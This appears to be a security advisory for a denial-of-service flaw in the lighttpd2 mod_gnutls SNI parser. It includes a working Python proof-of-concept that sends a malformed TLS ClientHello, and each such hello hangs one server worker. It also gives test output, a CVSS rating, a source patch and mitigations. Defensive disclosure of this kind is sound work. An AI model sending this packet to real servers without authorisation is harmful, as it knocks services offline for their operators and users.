Summary

Loop with Unreachable Exit Condition (CWE-835) in the ClientHello SNI parser of lighttpd2 mod_gnutls allows an unauthenticated remote attacker to stop a worker process with one crafted TLS ClientHello.

Details

mod_gnutls parses the ClientHello of every TLS connection in _li_ssl_client_hello_parse (src/modules/ssl_client_hello_parser.h) before the TLS handshake starts. The loop at lines 346 to 392 reads the entries of the server_name extension and does not compare the server_name_list length with the extension length. An entry with a zero-length hostname leaves sni_hostname_remaining at 0 while p < extension_pe still holds. Both branches of state 5 then compute take = MIN(0, extension_pe - p), which is 0, and do not move p. The condition while (p < extension_pe) is therefore always true and the worker event loop never returns.

/* src/modules/ssl_client_hello_parser.h at 519b4eb, lines 346-392, abridged */
while (p < extension_pe) {
	switch (context->sni_state) {
	/* states 0 to 4 read the list length, the entry type and the hostname length */
	case 5:
		if (0 == context->sni_type && !context->sni_complete) {
			guint take = MIN(context->sni_hostname_remaining, (guint) (extension_pe - p));
			/* append take bytes to server_name */
			context->sni_hostname_remaining -= take;
			p += take;
			/* ... IDNA conversion when sni_hostname_remaining is 0 ... */
		} else {
			guint take = MIN(context->sni_hostname_remaining, (guint) (extension_pe - p));
			context->sni_hostname_remaining -= take;
			p += take;                             /* p does not move when take is 0 */
		}
	}
} /* while (p < extension_pe) -- sni extension subloop */

The defect is present since commit 392e7bb (2013-06-08), which added the parser. The project has no release, and no version contains a fix.

Preconditions and limits:

  • The server must use mod_gnutls for a TLS listener.
  • The meson options gnutls and sni are on by default, so a default build contains the flaw.
  • A plain HTTP installation does not load the module.
  • mod_openssl does not use this parser.

PoC

  • Tested on 2026-11-23: lighttpd2 master 519b4eb, Linux x86_64, clang 20.1.2, gnutls 3.8.3, libidn 1.42.
  • Tested build: ASan and UBSan.
  • A build without sanitizers at -O2 shows the same hang.

The test used this configuration (server.pem holds the certificate and the key):

setup {
	workers 1;
	module_load [ "mod_gnutls" ];
	gnutls [ "listen" => "127.0.0.1:8443", "pemfile" => "server.pem" ];
}
docroot "/var/www";
static;

The script reads the answer on the same connection. A fixed server answers at once with a TLS alert (15030300020232, fatal decode_error) or closes the connection. A vulnerable server sends nothing and keeps the connection open. This verdict does not depend on the number of worker processes.

  1. Start lighttpd2 with this configuration.
  2. Save the script below as poc.py and run python3 poc.py 127.0.0.1 8443.
  3. Read the verdict line: the exit code is 1 for a vulnerable target and 0 for a target that is not vulnerable.
#!/usr/bin/env python3
"""PoC - lighttpd2 mod_gnutls pre-auth DoS (CWE-835).
Usage: poc.py HOST PORT [N]   N independent checks (default 1). On a vulnerable
target each check stops one worker process.
Verdict per check, from the attacking connection itself (independent of the
worker count): a fixed server answers the hello at once (TLS alert) or closes;
a vulnerable server stays silent and never closes (worker stuck in the parser).
Exit code: 1 vulnerable, 0 not vulnerable, 2 no verdict."""
import socket, ssl, sys

host, port, n = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) if len(sys.argv) > 3 else 1
sni = b"\x00\x05\x01\x00\x00AB"                                 # list length (ignored) | type 1, length 0 | 2 trailing bytes
ext = b"\x00\x00" + len(sni).to_bytes(2, "big") + sni           # extension 0 = server_name
body = b"\x03\x03" + bytes(32) + b"\x00" + b"\x00\x02\x13\x01" + b"\x01\x00" + len(ext).to_bytes(2, "big") + ext
hello = b"\x01" + len(body).to_bytes(3, "big") + body           # ClientHello: version, random, session/ciphers/compression, extensions
pkt = b"\x16\x03\x01" + len(hello).to_bytes(2, "big") + hello   # TLS handshake record

def handshake():
	"""a normal TLS handshake: True when some worker still serves"""
	try:
		ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
		ctx.check_hostname, ctx.verify_mode = False, ssl.CERT_NONE
		with socket.create_connection((host, port), 5) as s:
			ctx.wrap_socket(s)
		return True
	except (OSError, ssl.SSLError):
		return False

def check():
	"""send the crafted hello, then read the same connection"""
	with socket.create_connection((host, port), 5) as s:
		s.sendall(pkt)
		s.settimeout(3)
		try:
			return "not vulnerable: server answered (%s)" % (s.recv(64).hex() or "closed")
		except socket.timeout:
			return "VULNERABLE: no answer for 3 s, connection stays open (worker stuck in the parser)"
		except OSError as e:
			return "not vulnerable: connection reset (%s)" % e

if not handshake():
	print("no verdict: a normal TLS handshake fails before the test (not a TLS service, down, or unreachable)")
	sys.exit(2)
results = [check() for _ in range(n)]
for r in results:
	print(r)
print("normal TLS handshake afterwards: " + ("ok, other workers still serve" if handshake() else "FAILS, no worker serves any more"))
sys.exit(1 if any(r.startswith("VULNERABLE") for r in results) else 0)

Observed on the vulnerable build (exit code 1, harness lines show the control request, worker CPU over one second, and the request after the packet):

1) control HTTPS request : exit=0 http_code=404
VULNERABLE: no answer for 3 s, connection stays open (worker stuck in the parser)
normal TLS handshake afterwards: FAILS, no worker serves any more
3) worker CPU usage      : 101 % (utime+stime over a 1 s sample)
3) same request after PoC: exit=28 (28 = timeout)

No fixed version exists. A mod_gnutls built from the patch in the Solution section gets the verdict not vulnerable and continues to serve (exit code 0):

1) control HTTPS request : exit=0 http_code=404
not vulnerable: server answered (15030300020232)
normal TLS handshake afterwards: ok, other workers still serve
3) worker CPU usage      : 0 % (utime+stime over a 1 s sample)
3) same request after PoC: exit=0 (28 = timeout)

The script prints no verdict with exit code 2 when a normal TLS handshake fails before the test. This happens for a service that is not TLS or for a closed port. Each check stops one worker process on a vulnerable target.

Impact

Loop with Unreachable Exit Condition (CWE-835). An attacker stops each worker process of a server with a mod_gnutls TLS listener. The worker then serves none of its connections until a restart. One packet per worker process stops the whole server before any TLS handshake or authentication. The attacker reads and changes no data.

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, 7.5 High.

  • AV:N: the attacker sends one TCP packet to the TLS port.
  • AC:L: the packet always works on a default build.
  • PR:N and UI:N: no account and no user action are necessary.
  • S:U: the defect affects only the worker process.
  • C:N and I:N: the attacker reads and changes nothing.
  • A:H: each worker process stops completely until a restart.

Solution

No upstream fix exists as of 2026-11-23 (master 519b4eb). The proposed patch below passed the live test in the PoC section:

--- a/src/modules/ssl_client_hello_parser.h
+++ b/src/modules/ssl_client_hello_parser.h
@@ -364,6 +364,13 @@
 							++context->sni_state;
 							continue;
 						case 5:
+							if (0 == context->sni_hostname_remaining) {
+								/* entry fully consumed - the next
+								 * bytes are the next server_name_list entry; restart at the
+								 * type byte so every iteration consumes at least one byte. */
+								context->sni_state = 2;
+								continue;
+							}
 							if (0 == context->sni_type && !context->sni_complete) {
 								guint take = MIN(context->sni_hostname_remaining, (guint) (extension_pe - p));
 								li_g_string_append_len(server_name, (gchar*) p, take);
  1. Apply the patch to src/modules/ssl_client_hello_parser.h.
  2. Also compare the server_name_list length with the extension length and reject the ClientHello on a mismatch.
  3. If you cannot patch, use mod_openssl for TLS listeners until a fix is available. mod_openssl does not use this parser.

Timeline

  • 2026-11-21: Discovered by source review and confirmed with a fuzzing harness.
  • 2026-11-23: Reported to the vendor.
  • 2026-11-26: Maintainer replied that bug is fixed on current master

References